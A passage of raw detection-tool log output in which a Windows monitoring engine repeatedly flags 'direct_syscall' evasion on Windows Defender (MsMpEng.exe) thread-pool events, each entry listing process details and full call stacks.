JAVA_HOME:C:\Program Files\Jdk11 NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0x7ffe75059327 C:\Windows\System32\dwmcore.dll!?|0x7ffe7500a7fd C:\Windows\System32\dwmcore.dll!?|0x7ffe7511ab32 C:\Windows\System32\dwmcore.dll!MilCompositionEngine_CreateChannel|0x7ffe751c7ef6 C:\Windows\System32\dwmcore.dll!MilCompositionEngine_Uninitialize|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:52+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5191923 + Pid: 5052 + Tid: 9916 + Type: SubmitThreadpoolWork + CPU: 5 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:49.1141638 +0100 CET + Params: callback➜ 7ffde3649cd0, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll, callback_symbol➜ MpContainerOpen, context➜ 1f9f4d086b0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 1f9ed1fe8a8 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffde3649c9b C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde364713a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde33df111 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde30968c7 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde309614d C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde3094209 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde327a57d C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327a252 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327a209 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde349ab08 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerGetNext|0x7ffde31bdc3a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31be8f7 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde34de247 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerGetNext|0x7ffde3289d5c C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde3289848 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde32897e4 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffe7bb94208 C:\Windows\System32\sechost.dll!?|0x7ffe7bb929af C:\Windows\System32\sechost.dll!?|0x7ffe7bbb3207 C:\Windows\System32\sechost.dll!ProcessTrace|0x7ffde3603c95 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerFreeObjectInfo|0x7ffde3967fdf C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:52+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5191927 + Pid: 5052 + Tid: 18208 + Type: SubmitThreadpoolWork + CPU: 7 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:49.1143717 +0100 CET + Params: callback➜ 7ffde3649cd0, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll, callback_symbol➜ MpContainerOpen, context➜ 1f9f4d086b0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 1f9ed1fe8a8 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffde3649c9b C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde364713a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde33df111 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde30968c7 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde3493cfe C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerGetNext|0x7ffde327b1e3 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327abf6 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde343635b C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde3435ddf C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde3646a78 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde3646963 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffe7bcf5370 C:\Windows\System32\ntdll.dll!TppWorkerThread|0x7ffe7bcf63c1 C:\Windows\System32\ntdll.dll!TppCallbackCheckThreadAfterCallback|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:52+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5191935 + Pid: 5052 + Tid: 9116 + Type: SubmitThreadpoolWork + CPU: 3 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:49.123231 +0100 CET + Params: callback➜ 7ffe644e2e10, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll, callback_symbol➜ MpUpdateServicePingRpc, context➜ 1f9c0906eb0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 1f9c08eb218 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffe644e2dcb C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe644de50a C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe5c9f9454 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5c9f9280 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5ca25728 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginNotifyFeatureControlUpdated|0x7ffe5ca8fbe0 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginUpdateProcessTaintInfo|0x7ffe5ca0361a C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginUpdateFolderGuardData|0x7ffe5ca50c85 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginRefreshPlatformKillbitsEx|0x7ffe644df659 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe79af893f C:\Windows\System32\kernel32.dll!BasepConstructSxsCreateProcessMessage|0x7ffe7bcf0d5e C:\Windows\System32\ntdll.dll!TpWaitForTimer|0x7ffe7bcf613e C:\Windows\System32\ntdll.dll!TppCallbackEpilog|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:52+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5191939 + Pid: 5052 + Tid: 15764 + Type: SubmitThreadpoolWork + CPU: 2 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:49.1234904 +0100 CET + Params: callback➜ 7ffde3649cd0, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll, callback_symbol➜ MpContainerOpen, context➜ 1f9f4d086b0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 1f9ed1fe8a8 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffde3649c9b C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde364713a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde33df111 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde30968c7 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde309614d C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde3094209 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde327a57d C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327a252 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327a209 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde3279dc9 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31bdc3a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31bb8f9 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31ba7a5 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffe6491cca1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpSvc.dll!?|0x7ffe5c9f9f23 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5ca31ab1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginNotifyFeatureControlUpdated|0x7ffe644dddf8 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe644ddce3 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe7bcf5370 C:\Windows\System32\ntdll.dll!TppWorkerThread|0x7ffe7bcf63c1 C:\Windows\System32\ntdll.dll!TppCallbackCheckThreadAfterCallback|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:52+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5191945 + Pid: 5052 + Tid: 9116 + Type: SubmitThreadpoolWork + CPU: 4 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:49.1237433 +0100 CET + Params: callback➜ 7ffe644e2e10, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll, callback_symbol➜ MpUpdateServicePingRpc, context➜ 1f9c0906eb0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 1f9c08eb218 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffe644e2dcb C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe644de50a C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe5c9f9454 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5c9f9280 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5ca25728 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginNotifyFeatureControlUpdated|0x7ffe5ca8fbe0 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginUpdateProcessTaintInfo|0x7ffe5ca0361a C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginUpdateFolderGuardData|0x7ffe5ca50c85 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginRefreshPlatformKillbitsEx|0x7ffe644df659 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe79af893f C:\Windows\System32\kernel32.dll!BasepConstructSxsCreateProcessMessage|0x7ffe7bcf0d5e C:\Windows\System32\ntdll.dll!TpWaitForTimer|0x7ffe7bcf613e C:\Windows\System32\ntdll.dll!TppCallbackEpilog|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:52+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5191951 + Pid: 5052 + Tid: 18208 + Type: SubmitThreadpoolWork + CPU: 6 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:49.1241429 +0100 CET + Params: callback➜ 7ffde3649cd0, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll, callback_symbol➜ MpContainerOpen, context➜ 1f9f4d086b0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 1f9ed1fe8a8 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffde3649c9b C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde364713a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!MpContainerOpen|0x7ffde33df111 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde30968c7 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde309614d C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde3094209 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!?|0x7ffde327a57d C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327a252 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde327a209 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde3279dc9 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31bdc3a C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31bb8f9 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffde31ba7a5 C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll!__rsignal|0x7ffe6491cca1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpSvc.dll!?|0x7ffe5c9f9f23 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5ca31ab1 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginNotifyFeatureControlUpdated|0x7ffe644dddf8 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe644ddce3 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe7bcf5370 C:\Windows\System32\ntdll.dll!TppWorkerThread|0x7ffe7bcf63c1 C:\Windows\System32\ntdll.dll!TppCallbackCheckThreadAfterCallback|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:52+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5191957 + Pid: 5052 + Tid: 9116 + Type: SubmitThreadpoolWork + CPU: 4 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:49.1260138 +0100 CET + Params: callback➜ 7ffe644e2e10, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll, callback_symbol➜ MpUpdateServicePingRpc, context➜ 1f9c0906eb0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 1f9c08eb218 + Metadata: evasions: [direct_syscall] + + Pid: 5052 + Ppid: 756 + Name: MsMpEng.exe + Parent name: services.exe + Cmdline: "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe" + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: ["C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MsMpEng.exe"] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ffe644e2dcb C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe644de50a C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe5c9f9454 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5c9f9280 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!?|0x7ffe5ca25728 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginNotifyFeatureControlUpdated|0x7ffe5ca8fbe0 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginUpdateProcessTaintInfo|0x7ffe5ca0361a C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginUpdateFolderGuardData|0x7ffe5ca50c85 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpRtp.dll!MpPluginRefreshPlatformKillbitsEx|0x7ffe644df659 C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25100.9008-0\MpClient.dll!MpUpdateServicePingRpc|0x7ffe79af893f C:\Windows\System32\kernel32.dll!BasepConstructSxsCreateProcessMessage|0x7ffe7bcf0d5e C:\Windows\System32\ntdll.dll!TpWaitForTimer|0x7ffe7bcf613e C:\Windows\System32\ntdll.dll!TppCallbackEpilog|0x7ffe79afe8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffe7bd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-27T16:56:52+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 5191963 + Pid: 5052 + Tid: 18208 + Type: SubmitThreadpoolWork + CPU: 6 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-27 16:56:49.1263221 +0100 CET + Params: callback➜ 7ffde3649cd0, callback_module➜ C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{833345D5-F1C1-4986-94AF-65CBE182D2D4}\mpengine.dll, callback_symbol➜ MpContainerOpen, context➜ 1f9f4d086b0, pool_id➜ 1f9c0103280, subprocess_tag➜ 111, task_id➜ 